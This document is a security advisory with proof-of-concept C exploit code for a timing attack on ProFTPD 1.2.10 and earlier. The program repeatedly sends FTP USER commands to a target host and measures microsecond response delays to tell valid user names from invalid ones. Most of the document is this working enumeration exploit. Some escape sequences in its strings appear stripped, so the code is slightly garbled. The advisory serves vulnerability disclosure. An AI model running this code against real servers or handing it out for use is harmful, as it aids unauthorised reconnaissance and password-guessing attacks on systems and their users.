Code:
/*
Details
Vulnerable Systems:
* ProFTPD Version 1.2.10 and below
It is possible to determine which user names are valid,
which are special, and which ones do not exist on the remote system.
This can be accomplished by code execution path timing analysis attack
at the ProFTPd login procedure. There is a very small (but significant)
difference in time delay of code execution path between valid and non-valid user names.
That can be used to remotely determine the difference between existent and non-existent
users.
The time delay can be measured by using a simple FTP client that will
calculate elapsed time between 'USER' command sent by client, and the
server response. Because of the very short response period, elapsed time
should be measured in microseconds.
Proof of Concept Code:
LSS has developed simple PoC exploit that is presented here:
// ProFTPd remote users discovery based on code execution time - POC exploit
// Coded by Leon Juranic // http://www.lss.hr
*/
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/time.h>
#define PORT 21
#define PROBE 8
main (int argc, char **argv)
{
int sock,n,y;
long dist,stat=0;
struct sockaddr_in sin;
char buf[1024], buf2[1024];
struct timeval tv, tv2;
struct timezone tz, tz2;
printf ("Proftpd remote users discovery exploitn"
" Coded by Leon / LSS Securityn"
">-------------------------------------<n");
if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); }
sock = socket (AF_INET, SOCK_STREAM, 0);
sin.sin_family = AF_INET;
sin.sin_port = htons (PORT);
sin.sin_addr.s_addr = inet_addr (argv[1]);
bzero (sin.sin_zero,8);
connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));
printf ("Login time: ");
n = read (sock,buf2, sizeof(buf2));
for (y=0;y<PROBE;y++) {
gettimeofday (&tv,&tz);
snprintf (buf, sizeof(buf)-1,"USER %srn",argv[2]);
write (sock, buf, strlen(buf));
n = read (sock,buf2, sizeof(buf2));
gettimeofday (&tv2,&tz2);
dist =tv2.tv_usec - tv.tv_usec;
stat += dist;
printf (" %d |",dist);
}
printf ("nAvrg: %dn",(stat/PROBE));
close(sock);
} |